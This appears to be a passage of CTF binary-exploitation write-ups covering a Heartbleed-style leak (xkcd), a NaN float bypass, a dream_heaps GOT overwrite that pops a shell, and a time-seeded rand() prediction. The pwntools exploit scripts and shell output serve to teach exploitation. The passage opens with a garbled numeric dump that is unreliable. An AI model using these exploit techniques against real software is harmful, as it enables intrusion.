-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.58463800653Give me: 86629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
3.7857669957336791e-270
-9.455235083177544e-Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: 227
-6.8282747051424842e-229
-6.6994892300412978e-229
-1.3287388429188698e-231
4.865363487548704948e-270
4.8653382194983783e-270
Give me: Give me: Give me: Give me: Give me: 0:-1.584638e+306
1:-1.584638e+306
2:-1.584638e+306
3:-1.584638e+306
4:-1.584638e+306
5:-2.300000e+01
6:-1.584638e+306
7:-1.584638e+306
8:-1.584638e+306
9:-1.584638e+306
10:-1.584638e+306
11:-1.584638e+306
12:-1.584638e+306
13:-1.584638e+306
14:-1.584638e+306
15:-1.584638e+306
16:-1.584638e+306
17:-1.584638e+306
18:-1.584638e+306
19:-1.584638e+306
20:-1.584638e+306
21:-1.584638e+306
22:-1.584638e+306
23:-1.584638e+306
24:-1.584638e+306
25:-1.584638e+306
26:-1.584638e+306
27:-1.584638e+306
28:-1.584638e+306
29:-1.584638e+306
30:-1.584638e+306
31:-1.584638e+306
32:-1.584638e+306
33:-1.584638e+306
34:-1.584638e+306
35:-1.584638e+306
36:-1.584638e+306
37:-1.584638e+306
38:-1.584638e+306
39:-1.584638e+306
40:-1.584638e+306
41:-1.584638e+306
42:-1.584638e+306
43:-1.584638e+306
44:-1.584638e+306
45:-1.584638e+306
46:-1.584638e+306
47:-1.584638e+306
48:-1.584638e+306
49:-1.584638e+306
50:-1.584638e+306
51:-1.584638e+306
52:-1.584638e+306
53:-1.584638e+306
54:-1.584638e+306
55:-1.584638e+306
56:-1.584638e+306
57:3.785767e-270
58:-9.455235e-227
59:-6.828275e-229
60:-6.699489e-229
61:-1.328739e-231
62:4.865363e-270
63:4.865338e-270
Sum: -88739728366165125028685448406029643546277776677711731866489244413884850397602464820747806329471620672233559480029832790383745915926540359844557891236725370073933930276557223908896897136922922578474598315771085562474129643582927347625724598568687392255127493856259386716274770720868111931435349064767563104256.000000
Max: 0.000000
Min: -1584638006538662946940811578679100777612103154959138069044450793105086614242901157513353684454850369147027847857675585542566891355831077854367105200655810179891677326367093284087444591730766474615617827067340813615609457921123702636173653545869417718841562390290346191362049477158359141632774090442277912576.000000
My favorite number you entered is: -23.000000
Sorted Array:
0:-1.584638e+306
1:-1.584638e+306
2:-1.584638e+306
3:-1.584638e+306
4:-1.584638e+306
5:-1.584638e+306
6:-1.584638e+306
7:-1.584638e+306
8:-1.584638e+306
9:-1.584638e+306
10:-1.584638e+306
11:-1.584638e+306
12:-1.584638e+306
13:-1.584638e+306
14:-1.584638e+306
15:-1.584638e+306
16:-1.584638e+306
17:-1.584638e+306
18:-1.584638e+306
19:-1.584638e+306
20:-1.584638e+306
21:-1.584638e+306
22:-1.584638e+306
23:-1.584638e+306
24:-1.584638e+306
25:-1.584638e+306
26:-1.584638e+306
27:-1.584638e+306
28:-1.584638e+306
29:-1.584638e+306
30:-1.584638e+306
31:-1.584638e+306
32:-1.584638e+306
33:-1.584638e+306
34:-1.584638e+306
35:-1.584638e+306
36:-1.584638e+306
37:-1.584638e+306
38:-1.584638e+306
39:-1.584638e+306
40:-1.584638e+306
41:-1.584638e+306
42:-1.584638e+306
43:-1.584638e+306
44:-1.584638e+306
45:-1.584638e+306
46:-1.584638e+306
47:-1.584638e+306
48:-1.584638e+306
49:-1.584638e+306
50:-1.584638e+306
51:-1.584638e+306
52:-1.584638e+306
53:-1.584638e+306
54:-1.584638e+306
55:-1.584638e+306
56:-8.130783e+269
57:-2.367557e+269
58:-2.300000e+01
59:-9.455235e-227
60:-6.828275e-229
61:-6.699489e-229
62:-1.328739e-231
63:2.119251e-314
64:3.931085e-303
65:3.785767e-270
66:4.865338e-270
67:4.865363e-270
68:4.872934e-270
sh: 0: can't access tty; job control turned off
$ $ ls
ls
doubletrouble  flag.txt
$ $ w
w
 03:58:44 up 3 days,  3:25,  0 users,  load average: 7.25, 7.27, 7.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
$ $ cat flag.txt
cat flag.txt
flag{4_d0ub1e_d0ub1e_3ntr3ndr3}

Just like that, we got the flag!

Defcon Quals 2016 xkcd

Let's take a look at the challenge:

$    file xkcd
xkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, with debug_info, not stripped
$    pwn checksec xkcd
[*] '/Hackery/all/dcquals16/xkcd/xkcd'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

So we can see that it is a 64 bit statically compiled binary with a non-executable stack. The challenge also gives us a link to https://xkcd.com/1354/, which is the heartbleed xkcd. So it probably has some relevance to that exploit. Also a bit of a spoiler, this challenge is going to seem more like a reversing challenge than a pwn one. When we take a look at the main function in ghidra, we see all of the code that we need to:


undefined8
main(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3,undefined8 uParm4,undefined8 uParm5,
    undefined8 uParm6)

{
  int input;
  int iVar1;
  int y;
  int x;
  long flagHandle;
  undefined8 lenPart;
  ulong len;
  ulong nullByte;
  undefined auStack56 [4];
  int index;
  long z;
  long flagFile;
 
  setvbuf(stdout,0,2,0,uParm5,uParm6,uParm2);
  setvbuf(stdin,0,2,0);
  bzero(0x6b7540,0x100);
  flagHandle = fopen64(&flag,&r);
  if (flagHandle == 0) {
    puts("Could not open the flag.");
    return 0xffffffff;
  }
  fread(0x6b7540,1,0x100,flagHandle);
  do {
    input = fgetln(stdin,auStack56,auStack56);
    iVar1 = strtok((long)input,&?);
    iVar1 = strcmp((long)iVar1,"SERVER, ARE YOU STILL THERE");
    if (iVar1 != 0) {
      puts("MALFORMED REQUEST");
      exit(0xffffffff);
    }
    iVar1 = strtok(0,&");
    iVar1 = strcmp((long)iVar1," IF SO, REPLY ");
    if (iVar1 != 0) {
      puts("MALFORMED REQUEST");
      exit(0xffffffff);
    }
    iVar1 = strtok(0,&");
    lenPart = strlen((long)iVar1);
    memcpy(globals,(long)iVar1,lenPart);
    strtok(0,&();
    x = strtok(0,&));
    __isoc99_sscanf((long)x,"%d LETTERS",&index);
    globals[(long)index] = 0;
    nullByte = SEXT48(index);
    len = strlen(globals);
    if (len < nullByte) {
      puts("NICE TRY");
      exit(0xffffffff);
    }
    puts(globals);
  } while( true );
}

Let's go through this bit by bit. Starting off we can see that it clears out a space at 0x6b7540 in the bss, then will open up the flag file with the name flag (the string stored in the flag variable). Because of this and the check it does to ensure it's successful, we will need to create a file titled flag that resides in the same directory as the binary in order to run it. However this block of code is essentially just scanning in the contents of the flag file to the global variables address 0x6b7540:

  bzero(0x6b7540,0x100);
  flagHandle = fopen64(&flag,&r);
  if (flagHandle == 0) {
    puts("Could not open the flag.");
    return 0xffffffff;
  }
  fread(0x6b7540,1,0x100,flagHandle);

Next up, we can see that it scans in our input with a fgetln call. Proceeding that it will split up our input with the strtok function using the character ? (stored in the ? variable) as a delimiter. Then it will compare the output of strtok with the string SERVER, ARE YOU STILL THERE and return if they don't match. In order to pass this check, we will need to start off our input with SERVER, ARE YOU STILL THERE?:

    input = fgetln(stdin,auStack56,auStack56);
    iVar1 = strtok((long)input,&?);
    iVar1 = strcmp((long)iVar1,"SERVER, ARE YOU STILL THERE");
    if (iVar1 != 0) {
      puts("MALFORMED REQUEST");
      exit(0xffffffff);
    }

This next block is pretty similar to the last one. It is parsing the same string (we can tell since strtok has a 0x0 in the spot the input string goes). In order to pass this check we need to insert the string IF SO, REPLY " right after the last string:

    iVar1 = strtok(0,&");
    iVar1 = strcmp((long)iVar1," IF SO, REPLY ");
    if (iVar1 != 0) {
      puts("MALFORMED REQUEST");
      exit(0xffffffff);
    }

For this part, we don't need our input to be a specific string in order to pass a check. Again it will delimited it with a " character similar to the last block. Slight twist here with this string being copied to globals (bss address 0x6b7340) which is before where the flag is stored in memory:

    iVar1 = strtok(0,&");
    lenPart = strlen((long)iVar1);
    memcpy(globals,(long)iVar1,lenPart);

Next up we can see that it calls strtok on our initial input twice more. Once with the ( character as a delimiter, and once more with the ) character as a delimiter. When it used the ( character, it really doesn't do anything meaningful with it as far as we are concerned. However when it uses ) as a delimiter, it scans it in as in integer to index which is then used as in index to a null byte write to globals. This will come into play in a moment:

    strtok(0,&();
    x = strtok(0,&));
    __isoc99_sscanf((long)x,"%d LETTERS",&index);
    globals[(long)index] = 0;

Now essentially what this bottom portion of the program does, is it passes the address of globals (0x6b7340) to puts to print it out. Our input is copied to globals in a previous block. Before it prints it out, it will null terminate a value at some offset we specify which if it is in between the start of our input and the start of the flag we won't get the flag. In addition to that it does a check where if the index we gave it is past the length of the string that starts at globals, it returns.

    nullByte = SEXT48(index);
    len = strlen(globals);
    if (len < nullByte) {
      puts("NICE TRY");
      exit(0xffffffff);
    }
    puts(globals);
  }

Now the offset between the start of our input and the flag is 0x6b7540 - 0x6b7340 = 0x200, so we will need to have a string of length 0x200 copied over to globals in order to leak the flag. To pass the index check we can just set it to be the very end of the string (of course when we run it remotely we don't know where the end is, but we can just guess and check). That way we pass all of the checks (assuming we guessed right, it's not much like 5-10 byte increments) and we leak the flag. This is based off of the Heartbleed exploit since Heartbleed exploit was based off of leaking memory from a server by requesting more data from a server with a specified length that was larger than the length of the data. That is exactly what we did here.

Putting it all together here is a script that will leak it locally, when the flag is flag{g0ttem_b0yz}:

from pwn import *

target = process('./xkcd')
#gdb.attach(target, gdbscript = 'b *0x401034\nb *0x401077\nb* 0x4010ba\nb *0x4010f4\nb *0x40110e')
gdb.attach(target, gdbscript='b *main+0x1f1')

payload = ""
payload += "SERVER, ARE YOU STILL THERE"
payload += "?"
payload += " IF SO, REPLY "
payload += '\"'
payload += "0"*0x200
payload += "\""
payload += "111"
payload += "("
payload += "530"
payload += ")"

target.sendline(payload)

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './xkcd': pid 14087
[*] running in new terminal: /usr/bin/gdb -q  "./xkcd" 14087 -x "/tmp/pwnkc4E6c.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000flag{g0ttem_b0yz}

Sunshine CTF 2017 Alternate Solution

Let's take a look at the binary. Also a bit of a spoiler, this isn't exactly index related however at the time this is the best place I thought to put this (and I didn't want to make an entire module for this):

$    file alternate_solution
alternate_solution: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=71145a1bcd538b6d000dfce2357c01cfe53a3db9, not stripped
$    pwn checksec alternate_solution
[*] '/Hackery/pod/modules/index/sunshinectf2017_alternatesolution/alternate_solution'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./alternate_solution
15935728
Too high just like your hopes of reaching the bottom.

So we can see that we are dealing with a 64 bit binary. When we look at the main function in Ghidra we see this:


undefined8 main(void)

{
  long lVar1;
  FILE *flagFile;
  char *pcVar2;
  long in_FS_OFFSET;
  double inpFloat;
  char input [10];
  char flagBuf [56];
  long canary;
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(input,10,stdin);
  inpFloat = atof(input);
  if ((float)inpFloat < 37.35928345) {
    puts("Too low just like you\'re chances of reaching the bottom.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (37.35928345 < (float)inpFloat) {
    puts("Too high just like your hopes of reaching the bottom.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  flagFile = fopen("flag.txt","r");
  while( true ) {
    pcVar2 = fgets(flagBuf,0x32,flagFile);
    if (pcVar2 == (char *)0x0) break;
    printf("%s",flagBuf);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So we can see that the input we gave it is converted to a float. If it is greater than or less than 37.35928345, the program will exit. We can see that if it doesn't exit, then it will scan in the contents of flag.txt and print it (thus we get the flag). However there is one issue. The value 37.35928345 contains more decimal places than a float handles, so we can get the number 37.35928345 to pass those checks:

$    ./alternate_solution
37.35928345
Too low just like you're chances of reaching the bottom.

So we can't pass in the number 37.35928345 which is the only number not greater than or less than 37.35928345. However we can still fail both checks. Floats have a special value called nan (stands for not a number). If the float is not a number, it will not be greater than, less than, or equal to 37.35928345 since it isn't a number. With that we can fail both checks and get the flag:

$    ./alternate_solution
nan
sun{50m3times yoU_h@v3_t0 get cr3@t1v3}

Just like that, we got the flag. Also this is another challenge I made for Sunshine CTF back in 20117.

Dream Heap

This writeup goes out to my friend and the person who made this challenge the man the myth the legend himself, noopnoop.

$    file dream_heaps
dream_heaps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=9968ee0656a4b24cb6bf5ebc1f8f37d4ddd0078d, not stripped
$    pwn checksec dream_heaps
[*] '/Hackery/swamp/dream/dream_heaps'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./dream_heaps
Online dream catcher! Write dreams down and come back to them later!

What would you like to do?
1: Write dream
2: Read dream
3: Edit dream
4: Delete dream
5: Quit
>

So we are given a libc file libc6.so, and a 64 bit elf with no PIE or RELRO. The elf allows us to make dreams, read dreams, edit dreams, and delete dreams.

Reversing

When we look at the main function in ghidra, we see that it is essentially just a menu for the four different options:


void main(void)

{
  long in_FS_OFFSET;
  undefined4 menuOption;
  undefined8 canary;
 
  canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
  menuOption = 0;
  puts("Online dream catcher! Write dreams down and come back to them later!\n");
  puts("What would you like to do?");
  puts("1: Write dream");
  puts("2: Read dream");
  puts("3: Edit dream");
  puts("4: Delete dream");
  printf("5: Quit\n> ");
  __isoc99_scanf(&DAT_00400b60,&menuOption);
  switch(menuOption) {
  default:
    puts("Not an option!\n");
    break;
  case 1:
    new_dream();
    break;
  case 2:
    read_dream();
    break;
  case 3:
    edit_dream();
    break;
  case 4:
    delete_dream();
    break;
  case 5:
                    /* WARNING: Subroutine does not return */
    exit(0);
  
}

When we look at the Ghidra pseudocode for the new_dream function which allows us to write new dreams, we see this:

void new_dream(void)

{
  long lVar1;
  void *dreamPtr;
  long in_FS_OFFSET;
  int dreamLen;
  long canary;
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  dreamLen = 0;
  puts("How long is your dream?");
  __isoc99_scanf(&DAT_00400b60,&dreamLen);
  dreamPtr = malloc((long)dreamLen);
  puts("What are the contents of this dream?");
  read(0,dreamPtr,(long)dreamLen);
  *(void **)(HEAP_PTRS + (long)INDEX * 8) = dreamPtr;
  *(int *)(SIZES + (long)INDEX * 4) = dreamLen;
  INDEX = INDEX + 1;
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  
  return;
}

So for making a new dream, it first prompts us for a size. It then mallocs a space of memory equal to the size we gave it. It then let's us scan in as many bytes as we specified with the size. It then will save the heap pointer and the size of the space in the HEAP_PTRS and SIZES bss arrays at the addresses 0x6020a0 and 0x6020e0 (double click on the pointers in the assembly to see where they map to the bss). The index in the array will be equal to the value of INDEX which is a bss integer stored at 0x60208c. After this it will increment the value of INDEX. Next up we have the read function:

void read_dream(void)

{
  long lVar1;
  long in_FS_OFFSET;
  int index;
  long canary;
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which dream would you like to read?");
  index = 0;
  __isoc99_scanf(&DAT_00400b60,&index);
  if (INDEX < index) {
    puts("Hmm you skipped a few nights...");
  
  else {
    printf("%s",*(undefined8 *)(HEAP_PTRS + (long)index * 8));
  
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  
  return;
}

Here we can see that it prompts us for an index to HEAP_PTRS, and first checks that it is not larger than INDEX to prevent us from reading something past it. It will then grab a pointer from HEAP_PTRS from the desired index, and print it. However there is a bug here. While it checks to make sure that we gave it an index smaller than or equal to INDEX, it doesn't check to see if we gave it an index smaller than one. This bug will allow us to read something from memory before the start of the HEAP_PTRS array in the bss. In addition to that since INDEX is incremented after it adds a new value, it will be equal to the next dream that is allocated. Since it just checks to make sure our index isn't greater than INDEX we can go past one spot for the end of the pointers in HEAP_PTRS. Next up we have the edit_dream function:

void edit_dream(void)

{
  long lVar1;
  long in_FS_OFFSET;
  int index;
  long canary;
  void *ptr;
  int size;
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which dream would you like to change?");
  index = 0;
  __isoc99_scanf(&DAT_00400b60,&index);
  if (INDEX < index) {
    puts("You haven\'t had this dream yet...");
  
  else {
    ptr = *(void **)(HEAP_PTRS + (long)index * 8);
    size = *(int *)(SIZES + (long)index * 4);
    read(0,ptr,(long)size);
    *(undefined *)((long)ptr + (long)size) = 0;
  
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  
  return;
}

So here it prompts us for an index, and has the same vulnerable index check from read_dream. If the index check passes it will take the pointer stored in HEAP_PTRS and the integer stored in SIZES at the index you specified and allow you to write that many bytes to the pointer. After that it will null terminate the buffer by setting ptr + size equal to 0x0. However since arrays are zero index, it should be ptr + (size - 1) and thus it gives us a single null byte overflow. The last function we'll look at closely is the delete_dream function:

void delete_dream(void)

{
  long lVar1;
  long in_FS_OFFSET;
  int index;
  long canary;
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which dream would you like to delete?");
  index = 0;
  __isoc99_scanf(&DAT_00400b60,&index);
  if (INDEX < index) {
    puts("Nope, you can\'t delete the future.");
  
  else {
    free(*(void **)(HEAP_PTRS + (long)index * 8));
    *(undefined8 *)(HEAP_PTRS + (long)index * 8) = 0;
  
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  
  return;
}

So just like the read_dream and edit_dream functions, it prompts us for an index and runs a vulnerable check on it. If it passes, it will free the pointer in HEAP_PTRS stored at that index and set it equal to 0 (so no use after free here). However it leaves the corresponding value in SIZES behind.

Exploitation

So we have an index check bug with the read, edit, and free function. On top of that we have a single null byte overflow. We can use the index check bug in the read function to get a libc infoleak. After that we can use the index check bug with the edit function to get that got table overwrite. The intended solution was to use the single null byte overflow to cause heap consolidation, however this seems a bit easier.

For the libc infoleak, we will need a pointer to a pointer to a libc address. This is because with the dreams are stored in a 2D array. Luckily for us since there is no PIE we can just read an address from the got table (which is a table mapping various functions to their libc addresses). However first we will need an address to the got table, which we can find using gdb:

gef➤  p puts
$1 = {int (const char *)} 0x7ffff7a649c0 <_IO_puts>
gef➤  search-pattern 0x7ffff7a649c0
[+] Searching '0x7ffff7a649c0' in memory
[+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps/dream_heaps'(0x602000-0x603000), permission=rw-
  0x602020 - 0x602038  →   "\xc0\x49\xa6\xf7\xff\x7f[...]"
gef➤  search-pattern 0x602020
[+] Searching '0x602020' in memory
[+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps/dream_heaps'(0x400000-0x401000), permission=r-x
  0x400538 - 0x400539  →   "`"

Here we can see that the address 0x400538 will work for us. To leak the address we just need to read the dream at offset -263021. This is because HEAP_PTRS starts at 0x6020a0 and 0x6020a0 - 0x400538 = 0x201b68 and 0x201b68 / 8 = 263021.

Now for the got overwrite, we can use a couple of things to exploit that. Firstly if we make enough dreams, they will overflow into the sizes. This is because there isn't a check for this, and SIZES starts at 0x602080 and HEAP_PTRS starts at 0x6020a0. The difference between the two is 0x40 bytes, and since pointers are 0x8 bytes it will just be 8 pointers before we start overflowing them. In addition to that since ints are 4 bytes, the two will overlap nicely and end up being written behind the pointers. When we try making a lot of different dreams, we see that we can end up writing a pointer than can be reached by the edit_dream function:

gef➤  x/30g 0x6020a0
0x6020a0 <HEAP_PTRS>: 0x00000000013ea020  0x00000000013ea040
0x6020b0 <HEAP_PTRS+16>:  0x00000000013ea070  0x00000000013ea0b0
0x6020c0 <HEAP_PTRS+32>:  0x00000000013ea100  0x00000000013ea160
0x6020d0 <HEAP_PTRS+48>:  0x00000000013ea1d0  0x00000000013ea250
0x6020e0 <SIZES>: 0x00000000013ea2e0  0x00000000013ea380
0x6020f0 <SIZES+16>:  0x00000000013ea430  0x00000000013ea4f0
0x602100: 0x00000000013ea5c0  0x00000000013ea6a0
0x602110: 0x00000000013ea790  0x00000011013ea890
0x602120: 0x0000003300000022  0x0000005500000044
0x602130: 0x0000007700000066  0x0000009900000088
0x602140: 0x000000bb000000aa  0x000000dd000000cc
0x602150: 0x00000000013eaac0  0x00000000013eab50
0x602160: 0x00000000013eac00  0x00000000013eacc0
0x602170: 0x00000000013ead90  0x00000000013eae70
0x602180: 0x0000000000000000  0x0000000000000000

The pointers are addresses like 0x13eaac0, and the sizes are the integers like 0x99 and 0x88. At 0x602128 (which would be at index 17) we can see would be a nice place to write a pointer with the sizes. This is not only because we control it with sizes, but when we edit a dream it will also grab a size from the SIZES array that we will need to be at least 0x8. If we choose index 17, it will grab the integer from 0x602124 which we also control it with the sizes. So by choosing the offset 17 to edit, by making dreams with certain sizes we can control both the address that is written to and the size.

Also for the function that we will be overwriting the got address of will be free at 0x601fb0. This is because it won't cause any real issues for us, and to get a shell we will just have to free a dream with the contents /bin/sh:

$ objdump -R dream_heaps | grep free
0000000000602018 R_X86_64_JUMP_SLOT  free@GLIBC_2.2.5

Code

Putting it all together into our exploit, we get this. Also since our exploit relies on calling code from libc, it is dependent on which libc version you're using. If you're libc version is different then the one in the exploit, just swap out the file (check memory mappings in gdb to see which one you're using if this exploit doesn't work):

from pwn import *

target = process('./dream_heaps')
libc = ELF('libc-2.27.so') # If you have a different libc file, run it here

gdb.attach(target)

puts = 0x662f0
system = 0x3f630
offset = system - puts

def write(contents, size):
  print target.recvuntil('> ')
  target.sendline('1')
  print target.recvuntil('dream?')
  target.sendline(str(size))
  print target.recvuntil('dream?')
  target.send(contents)

def read(index):
  print target.recvuntil('> ')
  target.sendline('2')
  print target.recvuntil('read?')
  target.sendline(str(index))
  leak = target.recvuntil("What")
  leak = leak.replace("What", "")
  leak = leak.replace("\x0a", "")
  leak = leak + "\x00"*(8 - len(leak))
  leak = u64(leak)
  log.info("Leak is: " + hex(leak))
  return leak

def edit(index, contents):
  print target.recvuntil('> ')
  target.sendline('3')
  print target.recvuntil('change?')
  target.sendline(str(index))
  target.send(contents[:6])

def delete(index):
  print target.recvuntil('> ')
  target.sendline('4')
  print target.recvuntil('delete?')
  target.sendline(str(index))

# Get the libc infoleak via absuing index bug
puts = read(-263021)
libcBase = puts - libc.symbols['puts']

# Setup got table overwrite via an overflow
write('/bin/sh\x00', 0x10)
write('0'*10, 0x20)
write('0'*10, 0x30)
write('0'*10, 0x40)
write('0'*10, 0x50)
write('0'*10, 0x60)
write('0'*10, 0x70)
write('0'*10, 0x80)
write('0'*10, 0x90)
write('0'*10, 0xa0)
write('0'*10, 0xb0)
write('0'*10, 0xc0)
write('0'*10, 0xd0)
write('0'*10, 0xe0)
write('0'*10, 0xf0)
write('0'*10, 0x11)
write('0'*10, 0x22)
write('0'*10, 0x18)
write('0'*10, 0x602018)
write('0'*10, 00)

# Write libc address of system to got free address
edit(17, p64(libcBase + libc.symbols['system']))

# Free dream that points to `/bin/sh` to get a shell
delete(0)

target.interactive()

when we run it:

$ python exploit.py
[+] Starting local process './dream_heaps': pid 9062
[*] '/Hackery/pod/modules/index/swampctf19_dreamheaps/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] running in new terminal: /usr/bin/gdb -q  "./dream_heaps" 9062 -x "/tmp/pwnjqPcIc.gdb"
[+] Waiting for debugger: Done
Online dream catcher! Write dreams down and come back to them later!

.    .    .

Which dream would you like to delete?
[*] Switching to interactive mode

$ w
 22:17:41 up  1:47,  1 user,  load average: 0.39, 0.45, 0.31
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               20:31   ?xdm?   3:50   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core  dream_heaps  exploit.py  libc-2.27.so  readme.md

Just like that, we captured the flag!

Bad Seed

h3 time

Let's take a look at the binary:

$	file time 
time: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=4972fe3e2914c74bc97f0623f0c4643c40300dab, not stripped
$	pwn checksec time 
[*] '/Hackery/pod/modules/bad_seed/h3_time/time'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$	./time 
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a flag!
Enter your number: 15935728
Your guess was 15935728.
Looking for 1618853741.
Sorry. Try again, wrong guess!

So we can see that we are dealing with a 64 bit binary. When we run it, it prompts us to guess a number. When we take a look at the main function in Ghidra, we see this:

undefined8 main(void)

{
  long lVar1;
  uint targetNumber;
  time_t time;
  long in_FS_OFFSET;
  uint input;
  uint randomValue;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  time = time((time_t *)0x0);
  srand((uint)time);
  targetNumber = rand();
  puts("Welcome to the number guessing game!");
  puts("I\'m thinking of a number. Can you guess it?");
  puts("Guess right and you get a flag!");
  printf("Enter your number: ");
  fflush(stdout);
  __isoc99_scanf(&fmtString,&input);
  printf("Your guess was %u.\n",(ulong)input);
  printf("Looking for %u.\n",(ulong)targetNumber);
  fflush(stdout);
  if (targetNumber == input) {
    puts("You won. Guess was right! Here\'s your flag:");
    giveFlag();
  }
  else {
    puts("Sorry. Try again, wrong guess!");
  }
  fflush(stdout);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So we can see it generates a random number using the rand function. It then prompts us for input using scanf with the %u format string stored in fmtString (double click on fmtString in the assembly to see it). Then it checks if the two number are the same, and if they are it will run the giveFlag function which when we look at it, we can see that it reads prints out the flag file from /home/h3/flag.txt:

void giveFlag(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  memset(local_118,0,0x100);
  __stream = fopen("/home/h3/flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Flag file not found!  Contact an H3 admin for assistance.");
  }
  else {
    fgets(local_118,0x100,__stream);
    fclose(__stream);
    puts(local_118);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

So we need to figure out what the output of the rand function will be. Thing is the output of the rand function is not actually random. The output is based off a value called a seed, which it uses to determine what number sequence to generate. So if we can get the same seed, we can get rand to generate the same sequence of numbers. Looking at the decompiled code, we see that it uses the current time as a seed:

  time = time((time_t *)0x0);
  srand((uint)time);

So if we just write a simple C program to use the current time as a seed, and output a digit and redirect the output to the target, we will solve the challenge:

#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<stdint.h>
#include<string.h>

int main()
{
    uint32_t rand_num;
    srand(time(0)); //seed with current time
    rand_num = rand();
    uint32_t ans;
    printf("%d\n", rand_num);	
}

When we compile and run it:

$	cat solve.c 
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>

int main()
{
    uint32_t rand_num;
    srand(time(0)); 
    rand_num = rand();
    uint32_t ans;
    printf("%d\n", rand_num);	
}
$	gcc solve.c -o solve
$	./solve | ./time 
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a flag!
Enter your number: Your guess was 1075483710.
Looking for 1075483710.
